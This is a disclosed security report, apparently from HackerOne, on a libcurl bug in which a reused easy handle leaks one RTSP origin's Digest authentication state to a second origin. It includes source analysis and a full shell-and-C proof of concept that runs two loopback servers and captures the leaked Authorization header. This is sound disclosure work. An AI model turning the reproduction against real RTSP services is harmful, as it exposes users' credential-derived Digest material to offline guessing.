HexBrain

curl · Report #3776535

RTSP Digest auth state leaks across origins on reused libcurl easy handle

Informativestatus
mediumseverity
10upvotes
5 Jun 2026disclosed

How it was found

Summary

When a reused libcurl easy handle first authenticates to one RTSP origin with Digest authentication and is then switched to a different RTSP origin, libcurl can send the old origin's Digest authentication state to the new origin. The second RTSP server does not need to send a WWW-Authenticate: challenge: its first request can already contain an Authorization: Digest header using the first server's realm, nonce, cnonce, and incremented nonce count. The application can follow the documented RTSP guidance and clear CURLOPT_RTSP_SESSION_ID; the stale Digest state is independent from the RTSP session id. This leaks credential-derived authentication material across an origin/trust boundary. The issue is analogous to a cross-host/cross-proxy Digest auth state leak, but in the RTSP host authentication path.

Affected version

Reproduced locally on current master:

curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt mqtts pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTPS-proxy IPv6 Largefile libz PSL SSL SSLS-EXPORT threadsafe TLS-SRP UnixSockets zstd

Source revision:

ba600296d2a1d8a4e53a36eb4bd30c1f0d0152cc
rc-8_21_0-1-14-gba600296d2

Platform: Linux x86_64.

Root cause

RTSP requests use the HTTP authentication machinery:

/* lib/rtsp.c */
result = Curl_http_output_auth(data, conn, p_request, HTTPREQ_GET,
                               p_stream_uri, NULL, FALSE);

The host Digest output path uses data->state.digest:

/* lib/http_digest.c */
digest = &data->state.digest;
...
have_chlg = !!digest->nonce;
...
*allocuserpwd = curl_maprintf("%sAuthorization: Digest %s\r\n",
                              proxy ? "Proxy-" : "", response);

At the start of a new easy_perform(), libcurl clears the transfer's initial origin and resets auth method selection, but it does not clear the host Digest challenge state:

/* lib/transfer.c */
Curl_peer_unlink(&data->state.initial_origin);
...
data->state.authhost.want = data->set.httpauth;

By contrast, the HTTP redirect path explicitly clears host Digest state when the redirect crosses origins:

/* lib/http.c */
bool same_origin = Curl_url_same_origin(u, data->state.uh);
if(!same_origin)
  Curl_auth_digest_cleanup(&data->state.digest);

That redirect cleanup is the expected security boundary: a Digest challenge belongs to a protection space/origin and should not be reused for an unrelated origin. The reused-handle RTSP path misses equivalent cleanup.

Why this is not RTSP session-id misuse

CURLOPT_RTSP_SESSION_ID.md warns that an application may need to set or clear the RTSP Session ID when changing the URL origin on a reused easy handle. The PoC below does exactly that:

curl_easy_setopt(curl, CURLOPT_RTSP_SESSION_ID, NULL);

The leaked value is not the RTSP session id. It is an Authorization: Digest header generated from stale data->state.digest state (realm, nonce, cnonce, nc) that was established by the previous origin.

Why this is not just sticky CURLOPT_USERPWD

libcurl options are sticky, and keeping credentials configured on a reused handle is normal libcurl behavior. The issue is not merely that credentials remain configured. If the new RTSP server wants Digest authentication, it should first send its own WWW-Authenticate: Digest ... challenge and libcurl should generate a response for that challenge. In the vulnerable behavior, the new server sends no challenge at all and still receives an Authorization: Digest header built from the previous server's realm and nonce.

Steps To Reproduce

Run the following from the curl source tree after building libcurl. The PoC is fully inline: it writes a temporary C file, starts two local RTSP servers from that program, resolves rtsp-a.example and rtsp-b.example to loopback with CURLOPT_RESOLVE, performs two RTSP DESCRIBE transfers on the same easy handle, and prints the requests captured by both servers.

The default compile settings match the local build used for reproduction: build-asan-ssls/lib/libcurl-d.so. If your build directory or library name differs, set LIBCURL_LIBDIR and LIBCURL_LIB before running the block.

set -eu

tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT

cat > "$tmpdir/rtsp_digest_cross_origin.c" <<'EOF'
#include <arpa/inet.h>
#include <curl/curl.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>

struct request_log {
  char first_line[256];
  char auth[2048];
  int cseq;
};

struct server {
  int listen_fd;
  unsigned short port;
  int id;
  pthread_t tid;
  struct request_log reqs[3];
  size_t req_count;
  char error[256];
};

static ssize_t xrecv(int fd, void *buf, size_t len)
{
  for(;;) {
    ssize_t n = recv(fd, buf, len, 0);
    if(n < 0 && errno == EINTR)
      continue;
    return n;
  }
}

static int header_int(const char *headers, const char *name)
{
  const size_t namelen = strlen(name);
  const char *p = headers;

  while(*p) {
    const char *e = strstr(p, "\r\n");
    size_t n = e ? (size_t)(e - p) : strlen(p);
    if(n > namelen && !strncasecmp(p, name, namelen) && p[namelen] == ':')
      return atoi(p + namelen + 1);
    if(!e)
      break;
    p = e + 2;
  }
  return 1;
}

static void header_value(const char *headers, const char *name,
                         char *out, size_t outlen)
{
  const size_t namelen = strlen(name);
  const char *p = headers;
  out[0] = 0;

  while(*p) {
    const char *e = strstr(p, "\r\n");
    size_t n = e ? (size_t)(e - p) : strlen(p);
    if(n > namelen && !strncasecmp(p, name, namelen) && p[namelen] == ':') {
      size_t vlen;
      const char *v = p + namelen + 1;
      while(*v == ' ' || *v == '\t')
        v++;
      vlen = e ? (size_t)(e - v) : strlen(v);
      if(vlen >= outlen)
        vlen = outlen - 1;
      memcpy(out, v, vlen);
      out[vlen] = 0;
      return;
    }
    if(!e)
      break;
    p = e + 2;
  }
}

static bool read_request(int fd, struct request_log *log,
                         char *err, size_t errlen)
{
  char buf[8192];
  size_t used = 0;
  char *end;

  memset(log, 0, sizeof(*log));
  for(;;) {
    ssize_t n;
    if(used == sizeof(buf) - 1) {
      snprintf(err, errlen, "request too large");
      return false;
    }
    n = xrecv(fd, buf + used, 1);
    if(n <= 0) {
      snprintf(err, errlen, "recv failed/closed");
      return false;
    }
    used += (size_t)n;
    buf[used] = 0;
    end = strstr(buf, "\r\n\r\n");
    if(end)
      break;
  }

  {
    char *line_end = strstr(buf, "\r\n");
    size_t n = line_end ? (size_t)(line_end - buf) : strlen(buf);
    if(n >= sizeof(log->first_line))
      n = sizeof(log->first_line) - 1;
    memcpy(log->first_line, buf, n);
    log->first_line[n] = 0;
  }
  log->cseq = header_int(buf, "CSeq");
  header_value(buf, "Authorization", log->auth, sizeof(log->auth));
  return true;
}

static bool send_all(int fd, const char *buf, size_t len)
{
  while(len) {
    ssize_t n = send(fd, buf, len, 0);
    if(n < 0 && errno == EINTR)
      continue;
    if(n <= 0)
      return false;
    buf += n;
    len -= (size_t)n;
  }
  return true;
}

static bool send_resp(int fd, int status, int cseq, const char *extra)
{
  char resp[2048];
  int len = snprintf(resp, sizeof(resp),
                     "RTSP/1.0 %d %s\r\n"
                     "CSeq: %d\r\n"
                     "%s"
                     "Content-Length: 0\r\n"
                     "\r\n",
                     status, status == 401 ? "Unauthorized" : "OK",
                     cseq, extra ? extra : "");
  return len > 0 && (size_t)len < sizeof(resp) &&
         send_all(fd, resp, (size_t)len);
}

static int make_server(struct server *s, int id)
{
  struct sockaddr_in addr;
  socklen_t len = sizeof(addr);
  int one = 1;

  memset(s, 0, sizeof(*s));
  s->id = id;
  s->listen_fd = socket(AF_INET, SOCK_STREAM, 0);
  if(s->listen_fd < 0)
    return -1;
  setsockopt(s->listen_fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  memset(&addr, 0, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  addr.sin_port = 0;
  if(bind(s->listen_fd, (struct sockaddr *)&addr, sizeof(addr)) ||
     listen(s->listen_fd, 2) ||
     getsockname(s->listen_fd, (struct sockaddr *)&addr, &len))
    return -1;
  s->port = ntohs(addr.sin_port);
  return 0;
}

static void *server_thread(void *arg)
{
  struct server *s = arg;
  struct timeval tv;
  int fd = accept(s->listen_fd, NULL, NULL);

  if(fd < 0) {
    snprintf(s->error, sizeof(s->error), "accept failed");
    return NULL;
  }
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

  if(s->id == 1) {
    if(!read_request(fd, &s->reqs[s->req_count++], s->error,
                     sizeof(s->error)))
      goto out;
    if(!send_resp(fd, 401, s->reqs[0].cseq,
                  "WWW-Authenticate: Digest realm=\"realm-A\", "
                  "nonce=\"nonce-A\", qop=\"auth\"\r\n")) {
      snprintf(s->error, sizeof(s->error), "send 401 failed");
      goto out;
    }
    if(!read_request(fd, &s->reqs[s->req_count++], s->error,
                     sizeof(s->error)))
      goto out;
    if(!send_resp(fd, 200, s->reqs[1].cseq, NULL))
      snprintf(s->error, sizeof(s->error), "send 200 failed");
  }
  else {
    if(!read_request(fd, &s->reqs[s->req_count++], s->error,
                     sizeof(s->error)))
      goto out;
    if(!send_resp(fd, 200, s->reqs[0].cseq, NULL))
      snprintf(s->error, sizeof(s->error), "send B 200 failed");
  }

out:
  close(fd);
  close(s->listen_fd);
  return NULL;
}

static size_t discard_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  (void)ptr;
  (void)userdata;
  return size * nmemb;
}

int main(void)
{
  struct server a, b;
  CURL *curl;
  CURLcode rc1, rc2;
  char url_a[128], url_b[128];
  char resolve_a[128], resolve_b[128];
  struct curl_slist *resolve = NULL;

  if(make_server(&a, 1) || make_server(&b, 2)) {
    perror("make_server");
    return 2;
  }
  pthread_create(&a.tid, NULL, server_thread, &a);
  pthread_create(&b.tid, NULL, server_thread, &b);

  snprintf(url_a, sizeof(url_a), "rtsp://rtsp-a.example:%u/a", a.port);
  snprintf(url_b, sizeof(url_b), "rtsp://rtsp-b.example:%u/b", b.port);
  snprintf(resolve_a, sizeof(resolve_a), "rtsp-a.example:%u:127.0.0.1",
           a.port);
  snprintf(resolve_b, sizeof(resolve_b), "rtsp-b.example:%u:127.0.0.1",
           b.port);
  resolve = curl_slist_append(resolve, resolve_a);
  resolve = curl_slist_append(resolve, resolve_b);
  if(!resolve) {
    fprintf(stderr, "curl_slist_append failed\n");
    return 2;
  }

  curl_global_init(CURL_GLOBAL_ALL);
  curl = curl_easy_init();
  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, discard_cb);
  curl_easy_setopt(curl, CURLOPT_PROXY, "");
  curl_easy_setopt(curl, CURLOPT_RESOLVE, resolve);
  curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
  curl_easy_setopt(curl, CURLOPT_USERPWD, "rtspuser:rtspsecret");
  curl_easy_setopt(curl, CURLOPT_RTSP_REQUEST, CURL_RTSPREQ_DESCRIBE);
  curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 5000L);

  curl_easy_setopt(curl, CURLOPT_URL, url_a);
  curl_easy_setopt(curl, CURLOPT_RTSP_STREAM_URI, url_a);
  rc1 = curl_easy_perform(curl);

  curl_easy_setopt(curl, CURLOPT_RTSP_SESSION_ID, NULL);
  curl_easy_setopt(curl, CURLOPT_URL, url_b);
  curl_easy_setopt(curl, CURLOPT_RTSP_STREAM_URI, url_b);
  rc2 = curl_easy_perform(curl);

  curl_easy_cleanup(curl);
  curl_slist_free_all(resolve);
  curl_global_cleanup();
  pthread_join(a.tid, NULL);
  pthread_join(b.tid, NULL);

  printf("A rc=%d reqs=%zu err=%s\n", (int)rc1, a.req_count, a.error);
  for(size_t i = 0; i < a.req_count; i++)
    printf("A%zu line=[%s] auth=[%s]\n", i + 1,
           a.reqs[i].first_line, a.reqs[i].auth);
  printf("B rc=%d reqs=%zu err=%s\n", (int)rc2, b.req_count, b.error);
  for(size_t i = 0; i < b.req_count; i++)
    printf("B%zu line=[%s] auth=[%s]\n", i + 1,
           b.reqs[i].first_line, b.reqs[i].auth);

  if(b.req_count && strstr(b.reqs[0].auth, "Digest") &&
     strstr(b.reqs[0].auth, "nonce-A")) {
    puts("verdict: VULNERABLE - B got preemptive Digest auth using A nonce");
    return 1;
  }
  puts("verdict: not reproduced");
  return 0;
}
EOF

LIBCURL_LIBDIR="${LIBCURL_LIBDIR:-build-asan-ssls/lib}"
LIBCURL_LIB="${LIBCURL_LIB:-curl-d}"
case "$LIBCURL_LIBDIR" in
  /*) libcurl_rpath="$LIBCURL_LIBDIR" ;;
  *) libcurl_rpath="$PWD/$LIBCURL_LIBDIR" ;;
esac

cc ${CFLAGS:--g -O0 -fsanitize=address} -Iinclude \
  "$tmpdir/rtsp_digest_cross_origin.c" \
  -L"$LIBCURL_LIBDIR" -Wl,-rpath,"$libcurl_rpath" \
  -l"$LIBCURL_LIB" -pthread \
  -o "$tmpdir/rtsp_digest_cross_origin"

set +e
ASAN_OPTIONS="${ASAN_OPTIONS:-detect_leaks=0}" \
LD_LIBRARY_PATH="$libcurl_rpath${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
  "$tmpdir/rtsp_digest_cross_origin"
rc=$?
set -e

if [ "$rc" -eq 1 ]; then
  echo "PoC detected the vulnerable behavior."
else
  echo "PoC did not reproduce the vulnerable behavior. exit=$rc"
  exit 1
fi

Expected result

Server B should not receive an Authorization: Digest header on its first request. It has a different RTSP origin and it did not send a WWW-Authenticate: Digest challenge. At most, libcurl should authenticate to B only after B sends its own challenge.

Actual result

Server B receives an Authorization: Digest header using server A's Digest state. Example output from the local reproduction:

A rc=0 reqs=2 err=
A1 line=[DESCRIBE rtsp://rtsp-a.example:46421/a RTSP/1.0] auth=[]
A2 line=[DESCRIBE rtsp://rtsp-a.example:46421/a RTSP/1.0] auth=[Digest username="rtspuser", realm="realm-A", nonce="nonce-A", uri="rtsp://rtsp-a.example:46421/a", cnonce="k7sl9+6WhMv+q3wQ", nc=00000001, qop=auth, response="0546daf7ab43a83ff2b253f8922b2719"]
B rc=0 reqs=1 err=
B1 line=[DESCRIBE rtsp://rtsp-b.example:45543/b RTSP/1.0] auth=[Digest username="rtspuser", realm="realm-A", nonce="nonce-A", uri="rtsp://rtsp-b.example:45543/b", cnonce="k7sl9+6WhMv+q3wQ", nc=00000002, qop=auth, response="b5f2e94b27df51f400b5e167aa99769a"]
verdict: VULNERABLE - B got preemptive Digest auth using A nonce
PoC detected the vulnerable behavior.

Impact

An attacker controlling a later RTSP origin can receive credential-derived Digest authentication material that belongs to a previous RTSP origin's authentication state. The leaked header contains the username, previous origin's realm and nonce, libcurl's cnonce, incremented nonce count, target URI, qop, and Digest response value. This is not a plaintext password leak, but it is still sensitive authentication material crossing to a different host/trust boundary. Depending on password strength and Digest algorithm, it can support offline password guessing; in deployments with loose nonce/protection-space validation, it may also create replay or authentication-confusion risk. At minimum, it exposes request authentication metadata to an origin that never challenged for it and should not receive it.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original